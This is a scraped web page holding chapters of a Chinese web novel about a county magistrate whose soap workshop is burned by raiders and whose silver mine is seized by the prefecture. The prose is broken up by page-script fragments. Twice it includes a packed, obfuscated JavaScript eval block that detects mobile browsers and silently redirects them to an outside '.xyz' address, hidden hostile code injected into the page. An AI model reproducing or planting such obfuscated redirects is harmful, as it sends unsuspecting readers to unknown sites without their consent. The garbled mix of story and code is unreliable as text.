$(''.inform'').remove(); $(''#content'').append('' 工坊只怕也不能久待,免得耽误她们管事。” 罗叶儿她娘口中的“她们”指的是梅燕娘等人。她好歹也是上颖村村正夫人,但是面对梅燕娘还是下意识露怯:“好家伙,这位梅夫人看着忒年轻,也不过三十而已,怎得这般气势不凡?” 罗叶儿旁边的姑娘凑过来道:“我听闻那几位都认识字,很是了不得,咱们以后只听她们的话便是了。” “怪不得。”罗叶儿母女俩瞬间了然,永宁县能识字的人不多,况且这些还都是女眷,更了不得。这般聪明能干,管着她们是应该的。 看也看了,是时候出去了,众人知道工坊中规矩大,临走时也不敢喧哗,排着队似的挨个出门。 一脚迈出去后,连呼吸都轻松许多。 但下一刻,众人便立马被家人亲戚拉着追问里头好不好。 她们本也是憋了一路了,如今出来见到熟人,可算是能显摆一番。 “好,怎么不好?也就是你们瞎操心。姑娘们两人住一间,又体面又宽敞,每日还有馒头和小半碗蛋羹,比在家里吃得好多了。” “就这么着还说是没准备齐全呢。据那位梅娘子说,待下个月工坊挣钱了便给每个人置办两身衣裳,以后做工都穿着同样的衣裳,别提多标志了。” “你问梅夫人是谁?她是如今工坊的代行管事,厉害着呢,既能识字又能管账,这五百多人如今都在她手下管着,说一不二……” 吹什么的都有,但是议论梅燕娘的最多,这样雷厉风行的女眷谁看着不稀罕?男子们还能嘴犟,觉得言过于实,可是女眷们却真心实意地羡慕。想那位夫人如今多气派啊,这读过书的跟没读过的就是不一样。 裴杼跟张县令一直没走,看到众人讨论得热火朝天,也不禁沾沾自喜:“看吧,咱们两家的工坊真就一点儿都没叫人失望。” 张县令心情复杂,没叫人失望的前提是他砸进去了那么多的真金白银。这工坊就是个无底洞,里里外外都要花钱。看裴杼的意思,等挣到钱了之后还要改善食宿,真不知道他投的那笔钱何年何月才能拿回来:“大话不要说的太早,再等几日再看吧。” “放心,我每日都盯着呢,况且还有梅燕娘她们在,不会出错的。瞧好了吧,过段时间咱们就能大赚一笔了!” 张县令看他说得笃定,忍了忍,还是没忍住翘起嘴角。裴杼这厮尽管做事讨嫌了点,但是这股心性还是不错的,看着就让人心安。 裴杼也确实没看错人,梅燕娘待下虽十分严苛,但却叫这些女子迅速了解工坊、熟悉了各项流程,极快地成为熟练工。 做香胰子说复杂也复杂,但说简单也简单。这五百多人被分成了不少小组,每人只要在组内做好自己的份内工作就行了。会有人记下众人表现,据说来日发月钱的时候也会用以参考。 女眷们初来乍到,熟悉规矩后虽然还惶恐着,但都拼了一股狠劲儿了不想输给别人,更不愿比别人少拿一笔月钱。 短短五日功夫,工坊的库房里头便堆放了几千块已经成型的香胰子。若不是原料不多,指不定还能做出来更多。 裴杼调出了系统面板,发现距离任务完成只剩一日,目测明天等他预定的木匣子送到,再将香胰子装好,任务便能完成了。 关上面板,裴杼心情美得不行,期间看到摆着一副“生人勿近”姿态的郑兴成,也都能亲切地问好。 纵然郑大人不搭理,裴杼也还是心情舒畅,他甚至觉得,此刻再没有什么能让自己沮丧的了。 直到傍晚,门外忽有一差役满头大汗地闯了进来,见到裴杼,直接一头给他跪下去了。 跪得裴杼心间一沉,不祥的预感再次涌上来,他揪心地问了一句:“怎么了?” “大人,赠香坊那边,出事儿了!” 22.损失 惊恐如潮水般涌来,瞬间扼住咽喉,叫裴杼又陷入了当初那个挥之不去的噩梦阴影中。真是怕什么来什么,他迅速稳住心神,追问:“到底出了何事?” “是胡人,胡人不知何时越过燕山,直奔赠香坊去了,一把火烧了工坊,还将东西给抢走了!”跪在地上的小差役也没比裴杼好到哪儿去,脸色煞白,惶惶不安,连说话都止不住的磕巴。他们比谁都明白工坊对于永宁县的意义,这可是永宁县唯一的翻身指望了。 裴杼深吸了一口气,只是起身说话声音仍有些发颤:“快驾车……不,直接备马,随我出城。” 衙门后面还拴着两匹马,本是裴杼拿来练习用的,他自己也是半吊子,但眼下情况危急也管不得那么多了。 顷刻间,衙门所有得知消息的人全都一窝蜂冲到了正门外。 裴杼翻身上马,同众人交代一句后便不等他们反应,直接率先骑马狂奔而去。他才刚练习两天,驭马并不熟练,上马后活像是在横冲直撞一样,只是倒也没真撞到墙。 众人正不知道如何是好,把郑兴成气得,一人给他们一巴掌:“还愣着做什么,上去追啊,万一裴县令遇上了胡人就全完了!” 差役们委屈:“大人骑马呢,怎么追啊?” “自然是用脚追,难不成还要我扛着你们去追吗?!”郑兴成又是俩耳刮子赏下去,这些个蠢蛋才后知后觉地撒开脚丫子追上去了。 门前另有一匹马,只是在场少有人会骑的,张如胜正准备牵回去,忽见平日里弱不经风的王师爷已经轻飘飘坐了上去,还朝着魏平伸手:“事不宜迟,我们也得先行一步。” 魏平还没弄明白为何王绰也会骑马,但却下意识伸手,直接攀上了马。 这是胡人的马,马身高大,魏平坐上去之后不安极了,紧紧扯着王师爷的衣裳。不过王师爷仿佛习以为常,马鞭一挥便扬长而去,宽大的衣角被风吹得呼呼作响。 张如胜跟郑兴成直接吃了一嘴巴灰,正待要骂,竟瞥见王绰骑马骑得潇洒极了。那架势,压根不比胡人差。 “见鬼,瞧着手不能提的一人怎么还有这本事?”二人嘀咕了一句,赶紧下令让县城戒严。 裴杼一路有惊无险地抵达了赠香坊,幸好,幸好工坊没有被一把火全烧了,更幸运的是,因为巡逻队来得及时,尚未有人员伤亡。 只是损失也不小,后面的膳房跟寝房被烧得厉害,因救援及时,并未波及到前面的厂房。但即便如此,里头也被糟蹋得不成样子,桌椅被摔得七零八落,库房更是一团乱麻,香胰子被掳去了大半,连原料都没放过。剩下的一半香胰子也被踩脏了,这种瑕疵品,即便留下来也卖不上价钱。 亏大了……裴杼检查过后便是一阵头晕目眩。 王绰与魏平随即赶到,看到这情况心也提到了嗓子眼。 梅燕娘尽管也受到了不小的惊吓,但还是第一时间赶出来安抚众女眷,如今也是她领着裴杼看完了情况。梅燕娘忍着怒火道:“胡人来得不多,只四十余人罢了。但他们实在蛮横,不知打哪儿听说了工坊的消息特地过来捣乱。他们没有进村,没有攻城,甚至都没有抢粮食,直接绕小道沿河边摸到了这里放火,等火势起来之后才趁乱抢东西。” 这也是梅燕娘百思不得其解的地方,若是暗着胡人的性子,直接去抢粮食才是正经,抢了香胰子回去又不能吃,何必呢? 而裴杼却瞬间明白了,四十人,这应当不是那边官府派过来的,而是私下寻仇。想来也是规模不大的寻仇,若是百人以上的大动静,郑兴成安插在那边的眼线不会不知情。 “工坊这边的巡逻队呢?”他问。 “追胡人去了,眼下还未回来。” 裴杼理了一下思路。现在情况未明,这工坊是待不得了,衙门没有厉害的武将,奈何不了这些胡人,况且这里都是女眷,万一出了什么事,裴杼都没办法对百姓交代。 他赶忙将众人召集起来,细心安抚一番。 女眷们也是惊魂未定,虽未受伤,但着实被吓坏了。在县令大人许诺会让差役护送她们回家后,她们立马就应下了。眼下,所有人只想回家,连被烧坏的被褥衣裳什么都顾不得了。 衙门中的差役来得稍慢了些,裴杼将他们分作几组,护送这群女眷回家,临走前再三交代,一定要送到家门口,不许遗漏任何一个。 待将人全部送走后,夜色已深。 裴杼依旧忙着善后,安抚完了女眷,还得安抚一下安平县的张县令等人。想起这件事裴杼便是头皮发麻,工坊得以建成,安平县出了不少力,出了这么大的事,他们若知道了铁定要炸;但是不尽快告诉他们,又实在是说不过去。 还是应该尽快告知才行。眼下就这么几个人,裴杼犹豫着开口:“还有张县令那儿没通知,你们若是能守在这儿,我便亲自去一趟。” 魏平忙道:“不可!这么晚了,大人还是让我去吧,我对安平县的路最熟。” 裴杼心想他又不会骑马,正要拒绝,王绰忽然插了一嘴,不由分说:“我去。” 魏平一愣,随即连连点头:“对,王师爷也可以骑马,骑得还比您稳当。” 就县令大人那三脚猫的技术,魏平根本不放心叫他走夜路,别走着走着掉进沟里,回头情况更棘手。至于王绰,魏平本觉得对方弱不禁风需要好生照顾,但自打从被他捎带过一回后,就彻底变了想法。王师爷虽然瘦弱,但是真比起来,年轻个高的裴县令还未必有他厉害呢。 裴杼不大愿意,但是王绰莫名坚持,坚持到裴杼都感觉有些古怪,最终拗不过他,只能放他去报信。 梅燕娘也站了出来:“我是张县令寻来的,对今日之事也再清楚不过,我与王师爷同去,还能说上几句话。” 裴杼知道她什么意思,这是要替他们求情了,雪中送炭难,裴杼感激不已:“多谢。” 梅燕娘不是为了他这句谢而出头,她只关心一件事:“大人,这工坊还能顺利重整开工么?” 她不愿看到两个县的心血就此白费。 裴杼迟疑片刻,只是许诺道:“但凡有一丝希望,我定尽全力争取。” 梅燕娘闻言多少有些失落,但也知道以目下这形势,无论是谁都无法做出确切的保证,即便裴大人身为县令也是枉然。 二人刚走,郑兴成还有前去追胡人的成四等也都过来了,在燕山脚下巡守的孙唤等人也战战兢兢摸过来了。 胡人人多,成四等也不过才十来人而已,即便后来叫上了周边几个百姓,也在胡人手下讨到好,满身是伤地回来了。惨败而归,成四等都沮丧不已:“大人,胡人已经翻过燕山跑回去了。但他们嘴里不干净,一直叫骂着永宁县行事龌龊,监守自盗,反诬陷他们偷盗税粮。那为首的宝日金更是个硬茬子,他还放言说这事儿没完,十日后他还要下来给咱们好看。” 话音刚落,在场都群情激愤。这群胡人真不是个东西,连什么时候回来都告诉他们了,这不是料定了他们即便知道也打不赢吗?未免太张狂了。 一无所知的张如胜如今也对胡人意见大着呢:“胡说八道,得了便宜还卖乖!税粮不是他们偷的难道还能凭空消失?” 成四不敢说话,生怕露出点什么来。 裴杼揉了揉太阳穴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15096323|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今扯这些也没用了,反正这锅胡人一定得背,他们抢了边境百姓这么多年的粮食,背口锅也是理所应当,裴杼不觉得冤枉了他们。只是这些人确实是烦,裴杼烦完了之后,又盯上了孙唤四人:“今日是你们看守燕山一带?” 孙唤跪在地上,结结巴巴地应了一声:“是……是属下几人。” “那为何未发现胡人来犯?” 孙唤等人说不出来,守在山下巡逻实在是无聊,下山就那么几条路,他们日日守在这儿实在是没劲,加上今儿孙唤带了点酒过去,几个人喝得迷迷糊糊,哪里知道胡人什么时候过来的?也是成四等人追到燕山脚下后,他们才意识到发生了什么。 而成四那小子奸诈得很,见他们没说话,立马就将他们喝酒误事给抖了出来。眼瞅着县令大人要发作,孙唤眼巴巴地瞅着郑兴成。 郑大人啊,再不出手他们只怕是要挨打了。 裴杼心中无不失望:“你们四人玩忽职守、敷衍了事,以致如今酿成苦果,按衙门的规矩,该重则四十大棍。但事已至此,惩罚你等也无用,如此,便各自归家吧,今后不必再来县衙上值。” 一句话说得孙唤四个心里七上八下,中间听到罚也无用时,心中还窃喜了一下,可最后一句话落地,四个人都笑不出来了。 没有衙门给的这重身份,他们还能干什么? 孙唤错愕地望着裴杼,意识到大人没有说笑后,赶紧跪着挪到了郑兴成跟前:“郑大人您帮咱们求求情吧,我们四个在县衙已经待了将近二十来年了,没有功劳也有苦劳,怎么能说撵走就撵走呢?” “是啊大人,我们几个上有老,下有小,没了县衙的差事可叫咱们怎么活?还望大人看在往日的情分上网开一面,放我们一条生路吧!” 四人哀嚎不已,连赵炳文看着都忍不住想开个口,可郑兴成却没吭一声。他怕死,也怕胡人,若是这些人不能看住燕山的路,那么撵他们走也在情理之中。如今裴杼愿意当这个恶人,也免得他出手了。 郑兴成绝情的模样看得孙唤心慌,他又调头去求裴杼,可裴杼比郑兴成还要决绝。 没办法,孙唤又将主意打到张如胜身上,张如胜却更为暴躁,一脚将人踢翻,粗声粗气地道:“都是死人啊?还不将他们赶出去!” 成四赶忙带着人将孙唤四人拖走,他们早就看这几人不爽了,明明没干什么事,却仗着有郑大人撑腰时常在外吆五喝六的,从前也没少做欺压乡里的事,如今可算是遭报应了。即便大人不重责这四人,成四也能想象他们被赶出衙门后会遭到什么报复。 真是报应不爽。 几个人被被拖下去之后,工坊大堂中静默良久。裴杼还在想着对策,忽然间,他又记起了一件要紧的事,遂赶忙调出系统面板。 毫不意外,任务失败了。 任务栏标了一个绿色的框,上面显示任务时间延长至六个月,但难度加剧,且随机事件不日发生。 裴杼紧盯着这随机事件,又扫过满地狼藉,眼前情况太糟,糟到他甚至都有些有恃无恐了。都如此了,还能有什么随机事件能让事情变得更差吗? 呵。 他已无所畏惧。 另一头,好不容易进了安平县的王绰却停在了一处商行外,门虽然关了,但里头还能看到灯火。镖局押运、商行传信,这是将消息传出去最简单的法子了。 王绰请梅燕娘稍等,自己叩响木门,匆忙交代来由后,顺利写下了一封亲笔书信。以他二人的恩怨,这封信一旦寄出,纵然相隔千里那人也会追杀过来要他的命。 “劳烦尽快寄出去,越快越好。” 23.争夺 回到县衙后,众人依旧焦躁不安,裴杼等到下半夜才等到了王绰,听说了安平县众人反应后,裴杼好半晌都没吱声。 尽管王绰与梅燕娘极力为永宁县分辩,可情况依旧不容乐观,明日安平县会派人来人查验,以目前工坊受损情况来看,肯定免不了一场争执。 裴杼捂着脑袋,他当初为何会天真到觉得扶贫很容易的?若能回到过去,裴杼定得打死当初的自己。另外,如今最大的问题其实已经不是扶贫了,而是御敌。 两国议和,胡人哪怕不会大规模进犯,时不时南下骚扰一下也够烦人的了,譬如那个对他们耿耿于怀的宝日金。 裴杼与王绰商量了一晚上,决定重整这群差役。哪怕练不成精兵强将,至少也不能像现在这样懒散。另外,赚钱这条路裴杼还是不想放手,手里没钱,什么都做不了。既然胡人盯上他们,工坊不便开张,那就改为家庭作坊好了。 化整为零,让百姓做香胰子,县衙来收购、转卖。虽然麻烦了些,品控也不好把握,但却不失为一个弥补之策。 这样来钱快,还能尽快安抚住安平县。至于任务什么的,如今只能再往后缓一缓了,裴杼也不求什么奖励,能安稳度过眼下即可。 除裴杼之外,其他各差役也辗转反侧了一夜。孙唤四个人说打发就打发了,裴县令亲口发话,郑大人不曾求情,光这一点就足够给他们敲响警钟。若是他们继续懒散度日,指不定什么时候也会被打发了出去。永宁县穷成这样,没了县衙给的月俸,日子不知要过得多艰难。 商量了一晚上,等到天快亮了裴杼才匆忙睡了一会儿。先睡吧,裴杼安慰自己,反正事情已经不会更糟糕了。 可两个时辰后裴杼才恍然大悟,他还是想的太简单了。 永宁县地动了! 虽然震得不是十分厉害,可那眩晕感也怪吓人的。且不幸的是,因为地动导致山上巨石滚落,裴杼舍不得开采的那点金银矿产,一夕之间全都飞了。 起因还是赵炳文这个狗东西。他昨儿回来后发现衙门气氛不对,加之郑兴成带头折腾他,赵炳文自知对上郑兴成毫无胜算,于是一大早便借口去城外协助办案溜走了。好巧不巧,他办案的地方就在藏着银矿的那座山脚下。更不幸的是,巨石跌落后,第一个发现银矿的正是赵炳文。 他如获至宝,并率先写信通知州衙。有了这份功劳,他大可以借此回到州衙,再不必受永宁县这群疯子的罪! 消息传回县衙后,裴杼踉跄着倒在椅子上,一口气好悬没有回上来。千算万算,没算到这一出。 耳畔是郑兴成在破口大骂:“赵炳文那狗东西,若早知道他不是好鸟,就应该在他刚来那日弄死他!” 那可是金银矿,原本他也可以分一杯羹,如今可倒好,被州衙盯上了就是官矿,哪里还有他的份儿?这不是剜郑兴成的肉么? 郑兴成赌咒发誓要弄死赵炳文,裴杼却蔫了下来,一言不发。 那笔他舍不得动的钱,一直被看作是永宁县最后的退路。自赵炳文过来后,裴杼便琢磨着几时将他撵去一边,悄悄将东西挖出来藏着。如今可好,全没了。 若说没了这些金银对裴杼打击不小,那么今日早上的地动,则是让裴杼彻底抛弃幻想。 这地动,应当就是系统任务中的随机事件了。裴杼昨日对此还抱着破罐子破摔的态度,觉得不会太糟糕,真要报应就报应到他头上好了。可今日他发现,系统惩罚根本不可控,它会牵连所有百姓。 动震感是不强烈,也未伤人,甚至百姓也没当一回事,可是下一次呢?下一次任务失败会发生什么?洪水、旱灾、瘟疫……裴杼想都不敢想,在这个落后的朝代,人力完全没办法与天灾抗衡。这不是一场游戏,即便他有所谓的系统,在未知的的风险面前也是渺小到可笑。 任务得做,工坊得开,否则他承担不起后果。 他得不遗余力地重振工坊才行。 裴杼刚下定决心,那边急不可耐的州衙官员便与安平县的人一道过来了,才刚抵达就派兵牢牢把持着山头。 周围的百姓也被惊动了,纷纷围在这儿静等裴杼的到来。 路上听闻此事的张县令也觉得倒霉,若是州衙不知情,这笔钱还可以还给他们,可如今……说什么都晚了。 匆忙带人赶到的裴杼还想再争取一下,他也知道希望渺茫,但还是试一试。遂与那位参军禀明了昨晚上赠春坊遇袭一事,委婉表示县衙眼下没钱了,想留下一笔填上亏空。 黄参军回得很是冷漠:“一码归一码,永宁县遇袭与开矿无关。接手矿产是刘太守下的令,我等也是奉命办事,裴大人若有异议或者需要帮衬,只管写信去州衙好了。” 裴杼嘴角微抽,写信去州衙有个屁用?州衙那群人哪个不是卖弄一手装聋作哑的好本事? 眼瞧着裴杼拦在前面,黄参军话也重了几分:“裴大人,别忘了你们永宁县还欠着州衙钱,这些金矿银矿纵然全上缴了去也未必能还上。州衙没找你们要已是给足了体面,莫要过犹不及,闹得彼此难堪。” 裴杼迟疑起来,眼下确实不该直接闹翻。 可这点威胁在赵炳文看来一点儿也不痛快,他最近受了不少气,如今能回去了瞬间觉得自己硬气十足,趾高气扬地道:“啰嗦什么,直接挖走便是,留给他们也是贴进了工坊里头。这边陲小县建什么工坊?不是痴人说梦就是想趁机捞钱,回头还得请大人好好查一查这里面的账,必有人从中捞了不少油水。” 嗤……郑兴成阴测测地盯着他。 挺敢说啊? 赵炳文吓得一哆嗦,但压抑久了的人总容易发疯,赵炳文脑子一热便道:“难道我还说错了不成?永宁县本就是个穷地方,自上而下都都透着一股穷酸气,偏偏还一个个心比天高,整日想着挣大钱、画空饼,真叫人笑掉大牙了。老老实实守着那点地、过你们的穷日子得了,真以为靠着那工坊就能打翻身仗?这般愚不可及,活该你们穷一辈子!” “你找死呢!”好脾气的裴杼也被激得血气上涌。 他刚迈出步子想揍人,那边魏平跟郑兴成比他还要干脆,直冲过去,一人一拳,打得赵炳文险些飞了出去。 郑兴成揍完一拳之后还又补了一脚,他看赵炳文不爽已经很久了。 “住手!”黄参军眯着眼睛,迅速让士兵围了过来。 “谁敢动裴大人?!”永宁县上下不由分说地护在裴杼身前,佩刀都抽了出来。周围的百姓见状,也猛地抄起锄头,虎视眈眈地盯着州衙这群人。 胡人他们都打过,还打赢了。这些兵若是敢动裴县令,必叫他们有来无回! 永宁县上下气势骇人,连州衙的官兵都捏了一把冷汗,可他们压根退不得。 冲突一触即发,满场的火药味让前来问罪的安平县众人都屏住了呼吸。他们只知道永宁县的人没皮没脸,可不知道永宁县上下都这么敢啊,这是要做什么?想跟州衙一拍两散? 张县令攒了一晚上的邪火也发不出来了,颤巍巍地迈出步子:“诸位,稍安勿躁,这么多百姓瞧着呢,事情若是闹大传到刘太守耳中,双方都得担责不是?” 他给裴杼疯狂使眼色,还不退下,真想造反啊?! 裴杼咬牙没动。 黄参军也不是真的想动手,叫人过来只为了吓唬一番,谁知道永宁县竟然这么禁不住激?他正骑虎难下,难为张县令给了梯子,黄参军软下语气:“州衙对永宁县处处帮衬,已是仁至义尽,裴县令,你莫要因为逞一时意气害了永宁县父老乡亲。” 裴杼嗤笑,骂他就算了,连带着骂整个永宁县算什么?今日他若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15101626|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退了,来日岂不是谁人都可以欺负永宁县?那他这个县令不做也罢。裴杼看向被揍爬在地上的赵炳文:“此人辱骂永宁县百姓,断不能轻易算了。” 赵炳文往黄参军背后一躲,他也知道自己失言了,可他是州衙的人,嚣张点怎么了? 黄参军蹙眉:“赵炳文侍奉刘太守已有十年。” 裴杼不屑:“那又如何?黄参军难不成想说,这位赵师爷身为刘太守心腹,他今日所言乃是刘太守亲授?是刘太守嫌弃永宁县穷困,还是刘太守觉得永宁县上下粗鄙?” 黄参军被逼得进退维谷,这话他哪里敢应? 赵炳文更是吓得脸色惨白:“你胡说八道什么,我不过看不惯你们才抱怨两句罢了,跟太守大人有什么关系?” 他抓着黄参军的衣裳:“我并没有这个意思,只是近来被永宁县的人欺负狠了,气不过这才喊了几句,咱们相识多年,你得帮我!” 黄参军被他气得半死,自己说话不经脑子他要怎么帮?这裴杼一点儿不怕将州衙得罪死,帮了赵炳文,永宁县还不知道要如何编排刘太守。他们倒不至于怕了裴杼,只是人言可畏。今日若是将刘太守名声搞臭,他的官途也到此为止了。 黄参军放下身段,跟裴杼商量了几句,可恶的是裴杼那厮却一直端着,始终不肯叫人退下。 为了一个赵炳文,不值得。黄参军稍做思考便将手搭上了赵炳文的肩膀:“你在永宁县待了这么久,肯定还有包裹要收拾,先随他们回去吧,过些日子我请示过太守大人后再领你回州衙。” 赵炳文傻眼了。不是……怎么能这样,不是说好了让他即刻回城吗?怎么能转头就抛下了他?他可是太守的心腹啊。 心腹也没用了,裴杼挥了挥手,成四等人便一窝蜂冲上来,直接押住了赵炳文的脖颈,亲切地将他拉了过来,嬉皮笑脸道:“赵师爷,咱们回去收拾行李呗。” 赵炳文还要求救,被成四团了一块破布塞进嘴里,三下五除二就拖到牛车上直接押运回去了。 瘪犊子,今儿回去不揍死他都不算人。 闹事的被带下去,黄参军再次质问裴杼:“凡梁国境内金银矿都是官矿,偷采黑矿乃是死罪。这批矿采完后也是得运去朝廷以充军费开支,裴大人难道还要一意孤行,与朝廷作对?” 裴杼本来就没指望真的守住这银矿,他开口不过是想碰碰运气。如今没了指望,嘴臭的也被留下,确实不好再拦。 他侧出了身子,示意黄参军自便。 这钱留不住,但是日后还是可以去州衙磨一磨,哭哭穷。州衙对永宁县太过刻薄,怎么烦他们都是活该的。 裴杼表态了,拿着佩刀的差役和拿着锄头的百姓见状也都默默地往后退了几步,直接让出了一条路。 张县令叹为观止,他记得没错的话,裴杼来永宁县不是只有短短几个月吗?几个月便能让永宁县上下对他如此死忠,啧啧,吓人。 黄参军等人接手矿产后,便轮到张县令等人发难了。 只是气势这种东西,向来都是一鼓作气,再而衰,三而竭。原本怒火滔天的安平县人围观了两方对峙后,对永宁县还有点怵得慌,问罪时愣是没有一点威势。 工坊的确被糟蹋得不轻,但昨儿晚上裴杼已经带人收拾好了,前面已经看不出什么了,只等看到了后面的几间房子后,安平县官吏才开始崩溃。 烧成这样,根本没办法用了。再加上胡人时不时下来捣乱,开这工坊也不安全。张县令思虑再三,还是决定跟裴杼摊牌。自然,这钱也得还给他们,哪怕现在还不了也得欠着。 可他还没张口,裴杼便横插一脚,表示他们还想重建赠春坊,并且厚着脸皮问张县令能否再支援点。 张县令:“……?” 多冒昧啊,他怎么问得出来的? 24.转机 商议不欢而散,送走了拂衣而去的张县令后,裴杼还在叹气。 这下肯定把人给得罪狠了。若不是那点子银矿被州衙霸占,他也不用死巴着张县令不放,其实裴杼自己也觉得不妥,可借钱这种事一回生,二回熟,他如今甚至完全都不用思考怎么说,张口就能麻利地要钱。 真是该死的惯性。 回到县衙后,裴杼依旧忧心忡忡,但很快,他就被转移了注意力。盖因成四等人正聚在一块儿,商量着要如何折腾赵炳文。今儿回来他们就抽了赵炳文一顿,那家伙的嘴现在还肿着呢。 裴杼固然觉得赵炳文该打,可也怕他们闹得太凶:“收着点儿,别把人给打坏了。” 郑兴成口气狂妄:“便是打死了又有何妨?他当众出言不逊,本就该死。” 裴杼还是不大适应郑兴成的转变,虽然知道他不是什么好人,但这反复无常也太像反派了吧?明明几天前他还百般讨好赵炳文来着。郑县丞怎么想裴杼管不了,但却不能由着他胡闹:“听我的,出口气得了,别真把人弄死了。” 郑兴成嘲笑裴杼妇人之仁。 众人都拿捏不准怎么办,今日未出门的王绰却忽然开口:“不如交给我吧,我倒有个法子,既不会伤其根本,也能小惩大诫。” “什么法子?”魏平好奇。 王绰停顿片刻:“熬鹰。” 张如胜嘘了一声,不以为然:“还以为多了不得的东西,没意思。” 听着不咸不淡的,还不如直接打几拳过瘾呢。 郑兴成却不这么想,他虽然也没用过这法子,但直觉告诉他,王绰没有表面看起来这么简单。换言之,这人肯定没憋好屁,既如此交给他也无妨,郑兴成下巴一抬:“你不嫌麻烦的话人便交给你了,可两三日后若是没见到效果,我就直接接手,把赵炳文两条腿打断!” 裴杼也担心他胡来,赶紧让王绰下去忙。 王绰领命,慢条斯理地行至大牢。 赵炳文大概也被打怕了,可看到来人是王绰后他却松了一口气。一个小小师爷,远没有揍他的成四、郑兴成可怕,不足为惧。 但显然,他松早了。 王绰让只让成四守在跟前,关上门后他才撩起袍子,缓缓坐在赵炳文跟前,声音还是一如既往地沉着:“你侍奉刘太守多年,应当知道不少州衙的内幕吧,你家主子刘太守,可与谁人结过仇?” 赵炳文“哈”了一声,满脸的不可思议。这种事他怎么可能会交代?若是交代了,他跟刘太守都会留下把柄,当他傻么? 王绰也不意外他的反应,反而笑着道:“不招也行。” 他让成四将门窗打开,给屋子照得亮堂一些,交代了一声轮流换岗,饿了渴了给点吃喝,但是不许他睡着,一刻也不行。 赵炳文听完后还嗤之以鼻,就这点手段还妄想让他出卖刘太守? 他可是太守大人的心腹,心腹懂不懂啊? 今日冲突,那位黄参军想必已上报至幽州,只是那边也没消息传来,更没提让赵炳文回去,活像是死了一样,当然,死了也挺好的,关键是死不掉。刘太守生不生气裴杼不关心,那位即便不生气也从来没有帮过永宁县。 不过该哭穷的时候还是得哭。裴杼又写了一封哭天呛地信过去,一则卖惨,二则希望州衙出面请动朝廷再次谴责东胡。 信是寄过去了,一时半会儿也不会有任何作用,但裴杼不准备就此停止。他预备每天写一封,还让郑兴成也写,两人轮番喊冤,即便不能奈何刘太守也能烦死他。 正好郑兴成对刘太守恶意满满,不用裴杼多叮嘱他都按时写信,写得又臭又长,连他自己都嫌弃。反正他已没了前途,根本不在意刘太守气不气,气死了也活该! 不过比起刘太守,裴杼更在意的是安平县的反应。这日裴杼连着去了两次,两次都没有见到张县令的脸,甚至连县衙都难摸进去,人家压根不愿意招待他。裴杼准备了那么久的话,愣是一个字都没能说出来。 裴杼也在琢磨,若是张县令始终不同意自己该怎么办。思前想后,最终也就只有卖马这条路了,但裴杼刚提出便遭到了众人强烈反对。 对永宁县人而言,这匹马的意义不同凡响,这可是他们第一次战胜胡人的战利品,若非到了山穷水尽的地步,谁也不想把这些马给卖了。 裴杼腹诽,眼下还不是山穷水尽吗? 王绰也反对:“胡人强悍,日后若想将他们彻底打服还需要有骑兵才成。这批马都是难得的良马,用来育种最好,切不可为了眼前得失不顾长远打算。” 裴杼埋着头,看着有点窝囊。但他真觉得王师爷胆大包天,还骑兵……他们连一支正规军都凑不出来,哪敢奢望组建骑兵?再说就算真有了也不敢用啊,朝廷都没多少骑兵,他们说建就建,这是要造反不成?裴杼可从来没想过造反,他只想扶贫来着。 他哼哧半晌,才咕哝了一句:“可总要筹一笔钱出来吧。” “再多跑几趟安平县吧。”王绰一锤定音,“天道酬勤,还是得苦一苦大人才行。” 郑兴成简直不能再同意。 裴杼也没啥意见,反正他在外面也跑惯了,一向比别人更豁得出脸面。丢脸就丢脸呗,只要他不在意,丢多少次都无所谓。 散会之后,王绰快走几步追上了郑兴成。二人并肩而行,王绰忽然郑兴成是否同其他三位县令有联系,或者能间接递消息过去。 郑兴成狐疑地打量对方一眼:“你想做什么?” “没什么。”王绰平静道,“只是想借着郑大人这条线,助永宁县一臂之力而已。” 郑兴成嗤了一声,态度倨傲:“我凭什么帮你们?” “州衙的秘辛,不知郑大人可有兴趣?” 郑兴成步伐一顿。 那头,裴杼仍在坚持不懈游说安平县上下。其余王绰、魏平等则负责训练差役,调遣百姓,胡人十日后极有可能卷土重来,他们得尽快拿出章程才行。至于借钱的事,有裴杼就够了。 张县令本来不愿意见裴杼的,但这人就在门外等着,他总不能不出门吧。被他黏上之后,想甩也甩不掉了。 张县令已被他磨得没了脾气,他是知道裴杼还能更缠人,心力交瘁之下,只好抛给他一个难题:“你即便要重振工坊,可有女工愿意支持你?那胡人摆明了还要上门挑衅,永宁县连赠春坊周边安全尚且无法保障,谁又愿意抛下安危来替你做工?即便你们永宁县的百姓都对你肝脑涂地,可凭什么让安平县的人也以身犯险?” “我会说服去说服她们!”裴杼听到这话,像是找到了目标一样立马跟着表态,而后飞快地跟张县令告辞,兴冲冲跑出去证明自己了。 “等——” 等一下啊,他还没说完呢。张县令手伸到一半,到底没能叫住人。也罢,给个难题将人打发了也好,省得在这折磨自己。 张县令到底低估了裴杼的决心,那家伙为了向他证明仍有人愿意回到工坊,亲自带人挨家挨户拜访安平县女工,反复致歉、安抚、许诺,全然不顾一个县令的体面。 得知裴杼为了一个工坊能低声下气到这种程度,张县令心中也不是滋味。更叫他无奈的是,这日还真有不少百姓来衙门询问工坊何时复工? 她们真不怕么?被吓唬一场不够,还要跑去赠春坊以身涉嫌?何必呢。 